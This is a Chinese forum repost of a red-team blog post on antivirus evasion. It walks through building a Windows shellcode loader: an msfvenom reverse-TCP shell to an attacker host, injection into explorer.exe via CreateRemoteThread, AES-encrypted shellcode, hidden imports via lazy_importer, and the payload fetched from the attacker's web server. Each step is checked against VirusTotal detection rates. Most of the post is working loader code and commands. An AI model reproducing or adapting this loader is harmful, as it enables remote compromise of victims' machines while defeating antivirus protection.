安全矩阵

 找回密码
 立即注册
搜索
查看: 2747|回复: 0

免杀笔记之 aes 加 lazy_importer 加 shellcode 分离

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2022-1-15 21:30:23 | 显示全部楼层 |阅读模式
原文链接:免杀笔记之 aes 加 lazy_importer 加 shellcode 分离

0x00 前言今天写一篇静态免杀的文章。思路来自于:

https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html
核心是 AES 加密 shellcode + lazy_importer 去符号+shellcode 分离。
0x01 准备vs2019 开发
Kali(攻击机):192.168.94.141
win10(受害机):192.168.94.128
今天用到的工具是:CFF Explorer
这里会用到进程注入的知识,如果你之前没有了解过的话,可以去我之前的文章看一下:https://fengwenhua.top/index.php/archives/65/
先在 kali 上用 msf 生成 shellcode:
  •         msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.94.141 LPORT=1234-f c -b \x00\x0a\x0d


然后用 nc 开始监听 1234 端口

0x02 裸奔开局直接进程注入,不多说了
  1.     #define _CRT_SECURE_NO_DEPRECATE

  2.     #include"Windows.h"

  3.     #include"stdio.h"


  4.     int main(int argc,char* argv[])

  5.     {

  6.     unsignedchar buf[]="msf生成的shellcode";


  7.         HANDLE processHandle;

  8.         HANDLE remoteThread;

  9.         PVOID remoteBuffer;


  10.         printf("Injecting to PID: %i", atoi(argv[1]));

  11.         processHandle =OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

  12.         remoteBuffer =VirtualAllocEx(processHandle, NULL,sizeof buf,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  13.     WriteProcessMemory(processHandle, remoteBuffer, buf,sizeof buf, NULL);

  14.         remoteThread =CreateRemoteThread(processHandle, NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer, NULL,0, NULL);

  15.     CloseHandle(processHandle);


  16.     return0;

  17.     }
复制代码



vs 选择配置和平台,然后生成解决方案

比如我们想要注入到 explorer.exe 中,对应的 PID 是 6244,如下:

过一会,kali就收到了反弹shell了。

现在我们上传到 VT 上,看看效果怎么样,其实想想就知道,肯定惨不忍睹,毕竟是 msf 生成的 shellcode。。肯定早就被扒光了。。
但我没想到,还有这么多没有检测出来的。。。可能是因为我的程序是x64的?

其实整个 shellcode 加载代码里面,无非就两部分检测点,一个是 shellcode,还有一个就是一些敏感函数了。
所以我们可以对这两部分做一下处理,期望能够绕过检测。
​​
0x03 对 shellcode 进行处理分析想验证检测点是不是在 shellcode 处,很简单,把 shellcode 清空,然后重新上传vt


可以看到,足足少了4个,因此证明 AV 确实会检测 shellcode。所以下面开始用 AES 加密 shellcode ,期望绕过这些检测 shellcode 的 AV。

AES 加解密tiny-aes(不可用)
注意:下面列出的,前面两个库都要自己处理 padding 的问题。。。我是后面才发现的。。不过,不影响整体思路。第三个库我没有测。。
对于 c/c++ 来说,AES加解密的开源库一大堆:
  •         SergeyBel/AES
  •         kokke/tiny-AES-c
  •         kkAyataka/plusaes

这里为了方便,直接用 kokke/tiny-AES-c 这个库。打开对应的 Github 仓库,把下图的三个文件下载下来,放到我们的 vs 项目上。


这个库默认使用 AES128 的,我们可以修改aes.h,让其使用 AES256

这个库的用法也很简单。首先把头文件包含进来,#include "aes.hpp",然后加解密方法如下:
  1.     #include"aes.hpp"


  2.     // 提前定义key和iv

  3.     unsignedchar key[]="16的倍数位的key";

  4.     unsignedchar iv[]="16位的偏移量";


  5.     // 声明这个库要求的 aes 结构体

  6.     struct AES_ctx ctx;

  7.     // 初始化

  8.     AES_init_ctx_iv(&ctx, key, iv);


  9.     // 加密,加密后的结果存放在“加密的内容”处

  10.     AES_CBC_encrypt_buffer(&ctx,加密的内容,加密的内容大小);


  11.     // 解密,解密后的结果存放在“要解密的内容”处

  12.     AES_CBC_decrypt_buffer(&ctx,要解密的内容,要解密的内容大小);
复制代码

AES_CBC_decrypt_buffer(&ctx,要解密的内容,要解密的内容大小);这里为了方便,直接在相同的项目下操作,但是一个项目不能搞两个 main 方法,所以,先把原先的给排除了,如下:

然后直接新建一个encrypt_shellcode.cpp,代码如下,得到加密后的shellcode:
  1.     #define _CRT_SECURE_NO_DEPRECATE

  2.     #include"Windows.h"

  3.     #include"stdio.h"

  4.     #include"aes.hpp"


  5.     int main(int argc,char* argv[])

  6.     {

  7.     unsignedchar buf[]="msf生成的shellcode";


  8.         SIZE_T bufSize =sizeof(buf);


  9.     unsignedchar key[]="fengwenhuafengwenhuafengwenhua.";

  10.     unsignedchar iv[]="\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";


  11.     struct AES_ctx ctx;

  12.         AES_init_ctx_iv(&ctx, key, iv);

  13.         AES_CBC_encrypt_buffer(&ctx, buf, bufSize);


  14.         printf("Encrypted buffer:\n");


  15.         printf("unsigned char buf[] =\n");

  16.     int count =0;

  17.     for(int i =0; i < bufSize -1; i++){

  18.     if(count ==0){

  19.                 printf(""");

  20.     }

  21.             printf("\\x%02x", buf[i]);

  22.             count++;

  23.     if(count ==15){

  24.                 printf(""\n");

  25.                 count =0;

  26.     }

  27.     }

  28.         printf("";\n");

  29.         system("pause");

  30.     return0;

  31.     }
复制代码



然后修改原来的cpp,替换原来的shellcode,加入解密方法,如下:
​​
  1.     #define _CRT_SECURE_NO_DEPRECATE

  2.     #include"Windows.h"

  3.     #include"stdio.h"

  4.     #include"aes.hpp"


  5.     int main(int argc,char* argv[])

  6.     {

  7.     unsignedchar buf[]="aes解密后的shellcode";


  8.         HANDLE processHandle;

  9.         HANDLE remoteThread;

  10.         PVOID remoteBuffer;


  11.     // 解密shellcode

  12.         SIZE_T bufSize =sizeof(buf);


  13.     unsignedchar key[]="fengwenhuafengwenhuafengwenhua.";

  14.     unsignedchar iv[]="\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";


  15.     struct AES_ctx ctx;

  16.         AES_init_ctx_iv(&ctx, key, iv);

  17.         AES_CBC_decrypt_buffer(&ctx, buf, bufSize);


  18.         printf("Injecting to PID: %i", atoi(argv[1]));

  19.         processHandle =OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

  20.         remoteBuffer =VirtualAllocEx(processHandle, NULL,sizeof buf,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  21.     WriteProcessMemory(processHandle, remoteBuffer, buf,sizeof buf, NULL);

  22.         remoteThread =CreateRemoteThread(processHandle, NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer, NULL,0, NULL);

  23.     CloseHandle(processHandle);


  24.     return0;

  25.     }
复制代码


记得encrypt_shellcode.cpp从生成中排除,lazy_importer.cpp,从生成中排除选“否”

然后重新生成解决方案,kali重新监听 1234,执行如下:


ok,成功执行。上传到 vt 看看效果:

可以看到,对比裸奔的情况,少了一半检测率。
但后来我发现,并不是每次都能成功,然后我就开始疯狂的排查,最后发现,同样的内容,加密后解密,和之前不一样!!!!然后我开始疯狂的对比加解密后的内容。
后经过一段时间的查找,终于发现,这玩意要自己写 padding。。。因为msf生成的shellcode不一定是16的整数倍,所以就导致加解密的时候出问题了。。。
https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html 这个作者里面的msf生成的shellcode 刚刚好是16的整数倍,这你敢信???

这个库不行,于是我又尝试了 SergeyBel/AES 这个库。又尝试了半天,还是padding的问题。
别人实现的AES
最后,没错,我懒得自己写 padding,于是百度,直接嫖别人的用:

https://blog.csdn.net/witto_sdy/article/details/83375999
按照博客里面的,在 vs 中新建好文件就行

在丢到lazy_importer.cpp中运行之前,我先新建了一个encrypt_shellcode.cpp,在里面对 shellcode 进行 aes 加密

运行得到结果加密后的 shellcode 之后,然后丢到lazy_importer.cpp中解密就行,如下:
​​


后面的操作就和上一小节相同,这里不再讲了。
0x04 对敏感函数进行处理分析此时,我们用 CFF Explorer 打开我们 aes 加密 shellcode 的程序,可以看到 IAT 那里,调用了一堆的敏感函数(OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread and CloseHandle),这些肯定是 AV 必定检查的地方。

所以我们的应对办法就是,要么换别的同样效果的函数,要么就想办法把这些调用痕迹清除掉。
lazy_importer这里用到的就是开源库 JustasMasiulis/lazy_importer ,同样地,下载下来,导入vs项目

用法也是超级简单,先 include 进来,然后把原来函数改成LI_FN(原来函数)就行,修改如下:
需要把所有的NULL改成nullptr
  1.     #define _CRT_SECURE_NO_DEPRECATE

  2.     #include"Windows.h"

  3.     #include"stdio.h"

  4.     #include"lazy_importer.hpp"

  5.     #define BUF_SIZE 4096


  6.     #include<iostream>

  7.     #include"AES.h"

  8.     #include"Base64.h"


  9.     usingnamespace std;


  10.     constchar g_key[17]="asdfwetyhjuytrfd";

  11.     constchar g_iv[17]="gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空


  12.     string EncryptionAES(const string& strSrc)//AES加密

  13.     {

  14.     size_t length = strSrc.length();

  15.     int block_num = length / BLOCK_SIZE +1;

  16.     //明文

  17.     char* szDataIn =newchar[block_num * BLOCK_SIZE +1];

  18.         memset(szDataIn,0x00, block_num * BLOCK_SIZE +1);

  19.         strcpy(szDataIn, strSrc.c_str());


  20.     //进行PKCS7Padding填充。

  21.     int k = length % BLOCK_SIZE;

  22.     int j = length / BLOCK_SIZE;

  23.     int padding = BLOCK_SIZE - k;

  24.     for(int i =0; i < padding; i++)

  25.     {

  26.             szDataIn[j * BLOCK_SIZE + k + i]= padding;

  27.     }

  28.         szDataIn[block_num * BLOCK_SIZE]='\0';


  29.     //加密后的密文

  30.     char* szDataOut =newchar[block_num * BLOCK_SIZE +1];

  31.         memset(szDataOut,0, block_num * BLOCK_SIZE +1);


  32.     //进行进行AES的CBC模式加密

  33.         AES aes;

  34.         aes.MakeKey(g_key, g_iv,16,16);

  35.         aes.Encrypt(szDataIn, szDataOut, block_num * BLOCK_SIZE, AES::CBC);

  36.         string str = base64_encode((unsignedchar*)szDataOut,

  37.             block_num * BLOCK_SIZE);

  38.     delete[] szDataIn;

  39.     delete[] szDataOut;

  40.     return str;

  41.     }

  42.     string DecryptionAES(const string& strSrc)//AES解密

  43.     {

  44.         string strData = base64_decode(strSrc);

  45.     size_t length = strData.length();

  46.     //密文

  47.     char* szDataIn =newchar[length +1];

  48.         memcpy(szDataIn, strData.c_str(), length +1);

  49.     //明文

  50.     char* szDataOut =newchar[length +1];

  51.         memcpy(szDataOut, strData.c_str(), length +1);


  52.     //进行AES的CBC模式解密

  53.         AES aes;

  54.         aes.MakeKey(g_key, g_iv,16,16);

  55.         aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);


  56.     //去PKCS7Padding填充

  57.     if(0x00< szDataOut[length -1]<=0x16)

  58.     {

  59.     int tmp = szDataOut[length -1];

  60.     for(int i = length -1; i >= length - tmp; i--)

  61.     {

  62.     if(szDataOut[i]!= tmp)

  63.     {

  64.                     memset(szDataOut,0, length);

  65.                     cout <<"去填充失败!解密出错!!"<< endl;

  66.     break;

  67.     }

  68.     else

  69.                     szDataOut[i]=0;

  70.     }

  71.     }

  72.         string strDest(szDataOut);

  73.     delete[] szDataIn;

  74.     delete[] szDataOut;

  75.     return strDest;

  76.     }


  77.     int main(int argc,char* argv[])

  78.     {


  79.     // 加密后的shellcode

  80.     char buf[BUF_SIZE]="I8mLz2JN2G9JVrrDFi7LtccqhCU7uccBqZwB4PvkF7N+5iCaKiJR+LYI391ZFJS6ieyEDFLCaEnV6A0zq+P1uyW6HKEEaF4E9FRztJuTLhiukABcgx0z0b9IeGWPLjRS+QywJoEpMZJtJwIDCiF+NRme/Y56ZUZtR2VKf2ZbjndrGmtVlNlWgG1+3noUS+fOqeW+EzflCLQl+ysXmBsaFXunsxpQGiYt2D6nuZ6ZWitp2HnGo/XdpKyOp6EXV5DczC5MOJQWDrog2nATb3uEibBV17OIldHyfTnAENOFMnI0H3L/Rg8oaBKC/Ab0ZVWtlerqfNwxeozb81c6KMfnFsEzxX2Bx1ZYU4LCJfkkAmDfZzDYuko/h7fbuf+9tnjOhsIF3v7Vlf0YVfkb4Spzrg/Ze9BqGU0He9aUpStXvJhTDuQQAOlXxexkK5Ve50T15fGh3VjfairouotBjLPvrRJI7pP821ZAxFJO2mZGwNDJrM8Bhw9+7Ia+bz9V6mMwKmnHwZixT1HKrYnPx68kVWrgWIE3bTUfYYl4RHSerCLT0fBTK+fQg8QEDnMDZJEkR/lbtg7dy4Mxvdo5Bct6dQsg8NymqQRZ2QAM8MgzbxbeozLYKx+s1n5pmxnVY9btuOFWXfWl5+sP49PnExHb8x4SFU0WamL/ChasjDxyQ7jA2u/ezxhFjKW8AsUGxMF5bdXJnY/I5373nCt+Sl2a6q80CFYzZ7IbipLhtBAwUlbURS5hZ/dXcRI8BXsOhcBhglCjCGA0gjO7W7Cp7Icbet+dhYsrhXq+0R0IkrQ6Q5e/gA9AVP60C8aKxLYyeumedE0M9bcg8w6gDwCGsQ9xMzn97sDuqxR0a5a0OT81Veqqp+HQZ9OBiqusDg6eX/mry32sWdgHGemMS9q4F8GX7yd4amxcnfBwJn7n+6E96GBTlF6QzRMfsol5QG0oEF/QvNZGYz3L6ALme8YW6/6U6NznUEFj+Fcg/tivRuX83VDWMP4OW2qydM7kIHY/RXWTDO912FdiBdDbIniVE+q/RQL8UY9W+OqcUm2+P91QSlUGY+CEm14JGbbneMxHoIBMUX9EigHNiHldTzhjA2Vzfsh4DpEU164xK8HrXmnoya0wvAt36MBpidTksvOjzUhLynPkarjK+cYtxxSUpTkQFP+g/Umfx0k7wWp1EIemssWBx51TiOKvZUFxS36q0tddR4CxFIZ1yTYGswyHnj6ffhoGtCpG1/RVy2Hw22Abl0YoeEzG3QM5TyknLGILspCb+zULv/jgGVmK17CBq00dNcHiT1s79l3ek893nzoif4EdBpEqayyczbbuymPfq2Bx";


  81.     // 解密shellcode

  82.         string strbuf =DecryptionAES(buf);

  83.     //cout << "解密后shellcode:" << strbuf << endl;

  84.     char buff[BUF_SIZE]={0};

  85.     for(int i =0; i < strbuf.length(); i++){

  86.             buff[i]= strbuf[i];

  87.     }


  88.     // shellcode 处理,两个两个一起,还原成 \x00 的样子

  89.     char* p = buff;

  90.     unsignedchar* shellcode =(unsignedchar*)calloc(strlen(buff)/2,sizeof(unsignedchar));

  91.     for(size_t i =0; i < strlen(buff)/2; i++){

  92.             sscanf(p,"%2hhx",&shellcode[i]);

  93.             p +=2;

  94.     }


  95.         HANDLE processHandle;

  96.         HANDLE remoteThread;

  97.         PVOID remoteBuffer;


  98.         SIZE_T bufSize = strlen(buff)/2;


  99.     //printf("Decrypted buffer:\n");

  100.     //for (int i = 0; i < bufSize; i++) {

  101.     //  printf("\\x%02x", shellcode[i]);

  102.     //}


  103.         printf("Injecting to PID: %i", atoi(argv[1]));

  104.         processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));


  105.     //processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(2052));

  106.         remoteBuffer = LI_FN(VirtualAllocEx)(processHandle,nullptr, bufSize,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

  107.         LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, shellcode, bufSize,nullptr);

  108.         remoteThread = LI_FN(CreateRemoteThread)(processHandle,nullptr,0,(LPTHREAD_START_ROUTINE)remoteBuffer,nullptr,0,nullptr);

  109.         LI_FN(CloseHandle)(processHandle);


  110.     return0;

  111.     }
复制代码



可以正常上线:


再用CFF Explorer 看一下,发现已经看不到了。

丢给 vt ,不错,又少了1个
​​


syscall除了用 lazy_importer ,还可以看看 syscall,本来想写(shui)一篇 syscall 的文章,但是发现有师傅已经写得很好了:

http://ryze-t.com/posts/2021/12/01/%E6%B5%85%E8%B0%88-Syscall.html
所以这里就不献丑了。有兴趣的小伙伴可以自己去看看,改改,我这里就不搞了。
0x05 分离shellcode在前文中,我们对 shellcode 进行了 AES256 的加密,又使用 lazy_importer 清除了敏感函数调用的痕迹。现在 vt 还有5个报毒,所以这小节,我们再尝试一下 分离 shellcode ,看看能不能再降低 vt 检测率。
这里直接嫖

https://blog.csdn.net/lgh1700/article/details/7713516
中读取网络 url 文件内容的代码,当然,要简单修改一下
  1.     #include<tchar.h>

  2.     #include<wininet.h>

  3.     #pragma comment(lib,"wininet.lib")

  4.     #define BUF_SIZE 1024


  5.     LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsignedchar* buff);


  6.     LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsignedchar* buff)

  7.     {   

  8.         HINTERNET hSession;   

  9.         LPSTR lpResult = NULL;

  10.     // 这里把 "WinInet" 改成 _T("WinInet")

  11.         hSession =InternetOpen(_T("WinInet"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,0);   

  12.         __try

  13.     {      

  14.     if(hSession != NULL)        

  15.     {         

  16.                HINTERNET hRequest;            

  17.                hRequest =InternetOpenUrlA(hSession,lpcInterNetURL, NULL,0, INTERNET_FLAG_RELOAD,0);        

  18.                __try

  19.     {               

  20.     if(hRequest != NULL)        

  21.     {           

  22.                       DWORD dwBytesRead;                  

  23.     char szBuffer[BUF_SIZE]={0};


  24.     if(InternetReadFile(hRequest, szBuffer, BUF_SIZE,&dwBytesRead))           

  25.     {                 

  26.     RtlMoveMemory(buff, szBuffer, BUF_SIZE);   

  27.     return0;              

  28.     }               

  29.     }           

  30.     }__finally

  31.     {              

  32.     InternetCloseHandle(hRequest);  

  33.     }      

  34.     }   

  35.     }__finally

  36.     {      

  37.     InternetCloseHandle(hSession);  

  38.     }   

  39.     return lpResult;

  40.     }
复制代码


调用如下:
  1.     //远程获取加密shellcode

  2.     char buf[BUF_SIZE]={0};

  3.     char url[MAX_PATH]="http://192.168.94.141:8000/buf.txt";

  4.     GetInterNetURLText(url, buf);
复制代码

GetInterNetURLText(url, buf);        kali 机器开启一个web服务,然后运行代码:



同理,丢到vt上,不错,又少了两个。

0x06 后言其实思路还有很多的,比如我一般用HeapAlloc代替VirtualAlloc,如果target不是某数字杀软,我还有加vmp壳等等。由于篇幅原因,以后有机会我们慢慢聊。
至此,本次分享到此结束。分享中用到的代码,我已经上传 github:


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 19:21 , Processed in 0.014288 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表